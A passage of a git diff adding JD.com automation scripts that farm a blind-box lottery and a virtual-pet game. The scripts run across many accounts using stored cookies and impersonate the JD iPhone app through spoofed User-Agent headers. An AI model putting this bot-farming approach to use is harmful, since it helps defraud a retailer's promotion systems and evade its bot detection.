this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_nzmh.js b/Task/jd_nzmh.js
new file mode 100644
index 0000000..d3dc4c4
--- /dev/null
+++ b/Task/jd_nzmh.js
@@ -0,0 +1,296 @@
+/*
+女装盲盒
+活动时间:2021-5-24至2021-6-22
+活动地址:https://anmp.jd.com/babelDiy/Zeus/sVeWYpCvtfH754mtAT13s8V1Yjt/index.html
+活动入口:京东app-女装馆-赢京豆
+已支持IOS双京东账号,Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#女装盲盒
+35 1,23 * * * jd_nzmh.js, tag=女装盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "35 1,23 * * *" script-path=jd_nzmh.js,tag=女装盲盒
+
+===============Surge=================
+女装盲盒 = type=cron,cronexp="35 1,23 * * *",wake-system=1,timeout=3600,script-path=jd_nzmh.js
+
+============小火箭=========
+女装盲盒 = type=cron,script-path=jd_nzmh.js, cronexpr="35 1,23 * * *", timeout=3600, enable=true
+ */
+
+const $ = new Env('女装盲盒抽京豆');
+const notify = $.isNode() ? require('./sendNotify') : '';
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', message;
+
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {
+ };
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"});
+ return;
+ }
+ console.log('女装盲盒\n' +
+ '活动时间:2021-5-24至2021-6-22\n' +
+ '活动地址:https://anmp.jd.com/babelDiy/Zeus/sVeWYpCvtfH754mtAT13s8V1Yjt/index.html\n' +
+ '活动入口:京东app-女装馆-赢京豆');
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ $.beans = 0
+ message = '';
+ await TotalBean();
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"});
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ } else {
+ $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。
+ }
+ continue
+ }
+ try {
+ //await jdMh('https://h5.m.jd.com/babelDiy/Zeus/3eeruLXVbXge6CexVq8XkBbBvAfy/index.html')
+ await jdMh('https://anmp.jd.com/babelDiy/Zeus/sVeWYpCvtfH754mtAT13s8V1Yjt/index.html')
+ // await jdMh('https://anmp.jd.com/babelDiy/Zeus/yiNQjMxQvs3R3SdS4nwa2MFk1FE/index.html?wxAppName=jd')
+ } catch (e) {
+ $.logErr(e)
+ }
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+async function jdMh(url) {
+ try {
+ await getInfo(url)
+ await getUserInfo()
+ await draw()
+ while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) {
+ await draw()
+ await getUserInfo()
+ await $.wait(500)
+ }
+ await showMsg();
+ } catch (e) {
+ $.logErr(e)
+ }
+}
+
+function showMsg() {
+ return new Promise(resolve => {
+ if ($.beans) {
+ message += `本次运行获得${$.beans}京豆`
+ $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`);
+ }
+ resolve()
+ })
+}
+
+function getInfo(url = 'https://anmp.jd.com/babelDiy/Zeus/3DSHPs2xC66RgcCEB8YVLsudqfh5/index.html?wxAppName=jd') {
+ console.log(`url:${url}`)
+ return new Promise(resolve => {
+ $.get({
+ url,
+ headers: {
+ Cookie: cookie
+ }
+ }, (err, resp, data) => {
+ try {
+ $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1])
+ $.prize = JSON.parse($.info.prize)
+ resolve()
+ } catch (e) {
+ console.log(e)
+ }
+ })
+ })
+}
+
+function getUserInfo() {
+ return new Promise(resolve => {
+ $.get(taskUrl('query'), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${err},${jsonParse(resp.body)['message']}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data
+ // console.log(`您的好友助力码为${$.userInfo.shareid}`)
+ console.log(`当前幸运值:${$.userInfo.bless}`)
+ for (let task of $.info.config.tasks) {
+ if (!$.userInfo.complete_task_list.includes(task['_id'])) {
+ console.log(`去做任务${task['_id']}`)
+ await doTask(task['_id'])
+ await $.wait(500)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function doTask(taskId) {
+ let body = `task_bless=10&taskid=${taskId}`
+ return new Promise(resolve => {
+ $.get(taskUrl('completeTask', body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${err},${jsonParse(resp.body)['message']}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ data = JSON.parse(data.match(/query\((.*)\n/)[1])
+ if (data.data.complete_task_list.includes(taskId)) {
+ console.log(`任务完成成功,当前幸运值${data.data.curbless}`)
+ $.userInfo.bless = data.data.curbless
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function draw() {
+ return new Promise(resolve => {
+ $.get(taskUrl('draw'), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${err},${jsonParse(resp.body)['message']}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ data = JSON.parse(data.match(/query\((.*)\n/)[1])
+ if (data.data && data.data.drawflag) {
+ if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) {
+ console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`)
+ $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function taskUrl(function_id, body = '') {
+ body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}`
+ return {
+ url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`,
+ headers: {
+ 'Host': 'wq.jd.com',
+ 'Accept': 'application/json',
+ 'Accept-Language': 'zh-cn',
+ 'Content-Type': 'application/json;charset=utf-8',
+ 'Origin': 'wq.jd.com',
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`,
+ 'Cookie': cookie
+ }
+ }
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "JD4iPhone/9.3.5 CFNetwork/1209 Darwin/20.2.0") : ($.getdata('JDUA') ? $.getdata('JDUA') : "JD4iPhone/9.3.5 CFNetwork/1209 Darwin/20.2.0")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_pet.js b/Task/jd_pet.js
new file mode 100644
index 0000000..4a4ec8e
--- /dev/null
+++ b/Task/jd_pet.js
@@ -0,0 +1,633 @@
+/*
+东东萌宠 更新地址: jd_pet.js
+更新时间:2021-05-21
+活动入口:京东APP我的-更多工具-东东萌宠
+已支持IOS多京东账号,Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+
+互助码shareCode请先手动运行脚本查看打印可看到
+一天只能帮助5个人。多出的助力码无效
+
+=================================Quantumultx=========================
+[task_local]
+#东东萌宠
+15 6-18/6 * * * jd_pet.js, tag=东东萌宠, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdmc.png, enabled=true
+
+=================================Loon===================================
+[Script]
+cron "15 6-18/6 * * *" script-path=jd_pet.js,tag=东东萌宠
+
+===================================Surge================================
+东东萌宠 = type=cron,cronexp="15 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_pet.js
+
+====================================小火箭=============================
+东东萌宠 = type=cron,script-path=jd_pet.js, cronexpr="15 6-18/6 * * *", timeout=3600, enable=true
+
+*/
+const $ = new Env('东东萌宠');
+let cookiesArr = [], cookie = '', jdPetShareArr = [], isBox = false, notify, newShareCodes, allMessage = '';
+//助力好友分享码(最多5个,否则后面的助力失败),原因:京东农场每人每天只有四次助力机会
+//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。
+//下面给出两个账号的填写示例(iOS只支持2个京东账号)
+let shareCodes = [ // IOS本地脚本用户这个列表填入你要助力的好友的shareCode
+ //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开
+ 'MTAxODc2NTEzNTAwMDAwMDAwMjg3MDg2MA==@MTAxODc2NTEzMzAwMDAwMDAyNzUwMDA4MQ==@MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODc2NTEzNDAwMDAwMDAzMDI2MDI4MQ==@MTAxODcxOTI2NTAwMDAwMDAxOTQ3MjkzMw==',
+ //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开
+ 'MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODcxOTI2NTAwMDAwMDAyNjA4ODQyMQ==@MTAxODc2NTEzOTAwMDAwMDAyNzE2MDY2NQ==@MTE1NDUyMjEwMDAwMDAwNDI0MDM2MDc=@MTAxODc2NTEzMjAwMDAwMDAwNDA5MzAzMw==',
+]
+let message = '', subTitle = '', option = {};
+let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送
+const JD_API_HOST = 'https://api.m.jd.com/client.action';
+let goodsUrl = '', taskInfoKey = [];
+let randomCount = $.isNode() ? 20 : 5;
+!(async () => {
+ await requireConfig();
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ await TotalBean();
+ console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ message = '';
+ subTitle = '';
+ goodsUrl = '';
+ taskInfoKey = [];
+ option = {};
+ await shareCodesFormat();
+ await jdPet();
+ }
+ }
+ if ($.isNode() && allMessage && $.ctrTemp) {
+ await notify.sendNotify(`${$.name}`, `${allMessage}`)
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+async function jdPet() {
+ try {
+ //查询jd宠物信息
+ const initPetTownRes = await request('initPetTown');
+ message = `【京东账号${$.index}】${$.nickName}\n`;
+ if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') {
+ $.petInfo = initPetTownRes.result;
+ if ($.petInfo.userStatus === 0) {
+ // $.msg($.name, '', `【提示】京东账号${$.index}${$.nickName}\n萌宠活动未开启\n请手动去京东APP开启活动\n入口:我的->游戏与互动->查看更多开启`, { "open-url": "openapp.jdmoble://" });
+ await slaveHelp();//助力好友
+ $.log($.name, '', `【提示】京东账号${$.index}${$.nickName}\n萌宠活动未开启\n请手动去京东APP开启活动\n入口:我的->游戏与互动->查看更多开启`);
+ return
+ }
+ if (!$.petInfo.goodsInfo) {
+ $.msg($.name, '', `【提示】京东账号${$.index}${$.nickName}\n暂未选购新的商品`, { "open-url": "openapp.jdmoble://" });
+ if ($.isNode()) await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName}`, `【提示】京东账号${$.index}${$.nickName}\n暂未选购新的商品`);
+ return
+ }
+ goodsUrl = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsUrl;
+ // option['media-url'] = goodsUrl;
+ // console.log(`初始化萌宠信息完成: ${JSON.stringify(petInfo)}`);
+ if ($.petInfo.petStatus === 5) {
+ await slaveHelp();//可以兑换而没有去兑换,也能继续助力好友
+ option['open-url'] = "openApp.jdMobile://";
+ $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.petInfo.goodsInfo.goodsName}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option);
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName}\n${$.petInfo.goodsInfo.goodsName}已可领取`);
+ }
+ return
+ } else if ($.petInfo.petStatus === 6) {
+ await slaveHelp();//已领取红包,但未领养新的,也能继续助力好友
+ option['open-url'] = "openApp.jdMobile://";
+ $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】已领取红包,但未继续领养新的物品\n请去京东APP或微信小程序查看\n点击弹窗即达`, option);
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName}\n已领取红包,但未继续领养新的物品`);
+ }
+ return
+ }
+ console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.petInfo.shareCode}\n`);
+ await taskInit();
+ if ($.taskInit.resultCode === '9999' || !$.taskInit.result) {
+ console.log('初始化任务异常, 请稍后再试');
+ return
+ }
+ $.taskInfo = $.taskInit.result;
+
+ await petSport();//遛弯
+ await slaveHelp();//助力好友
+ await masterHelpInit();//获取助力的信息
+ await doTask();//做日常任务
+ await feedPetsAgain();//再次投食
+ await energyCollect();//收集好感度
+ await showMsg();
+ console.log('全部任务完成, 如果帮助到您可以点下🌟STAR鼓励我一下, 明天见~');
+ } else if (initPetTownRes.code === '0'){
+ console.log(`初始化萌宠失败: ${initPetTownRes.message}`);
+ }
+ } catch (e) {
+ $.logErr(e)
+ const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`;
+ if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg);
+ $.msg($.name, '', `${errMsg}`)
+ }
+}
+// 收取所有好感度
+async function energyCollect() {
+ console.log('开始收取任务奖励好感度');
+ let function_id = arguments.callee.name.toString();
+ const response = await request(function_id);
+ // console.log(`收取任务奖励好感度完成:${JSON.stringify(response)}`);
+ if (response.resultCode === '0') {
+ message += `【第${response.result.medalNum + 1}块勋章完成进度】${response.result.medalPercent}%,还需收集${response.result.needCollectEnergy}好感\n`;
+ message += `【已获得勋章】${response.result.medalNum}块,还需收集${response.result.needCollectMedalNum}块即可兑换奖品“${$.petInfo.goodsInfo.goodsName}”\n`;
+ }
+}
+//再次投食
+async function feedPetsAgain() {
+ const response = await request('initPetTown');//再次初始化萌宠
+ if (response.code === '0' && response.resultCode === '0' && response.message === 'success') {
+ $.petInfo = response.result;
+ let foodAmount = $.petInfo.foodAmount; //剩余狗粮
+ if (foodAmount - 100 >= 10) {
+ for (let i = 0; i < parseInt((foodAmount - 100) / 10); i++) {
+ const feedPetRes = await request('feedPets');
+ console.log(`投食feedPetRes`);
+ if (feedPetRes.resultCode == 0 && feedPetRes.code == 0) {
+ console.log('投食成功')
+ }
+ }
+ const response2 = await request('initPetTown');
+ $.petInfo = response2.result;
+ subTitle = $.petInfo.goodsInfo.goodsName;
+ // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`;
+ // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`;
+ } else {
+ console.log("目前剩余狗粮:【" + foodAmount + "】g,不再继续投食,保留部分狗粮用于完成第二天任务");
+ subTitle = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsName;
+ // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`;
+ // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`;
+ }
+ } else {
+ console.log(`初始化萌宠失败: ${JSON.stringify($.petInfo)}`);
+ }
+}
+
+
+async function doTask() {
+ const { signInit, threeMealInit, firstFeedInit, feedReachInit, inviteFriendsInit, browseShopsInit, taskList } = $.taskInfo;
+ for (let item of taskList) {
+ if ($.taskInfo[item].finished) {
+ console.log(`任务 ${item} 已完成`)
+ }
+ }
+ //每日签到
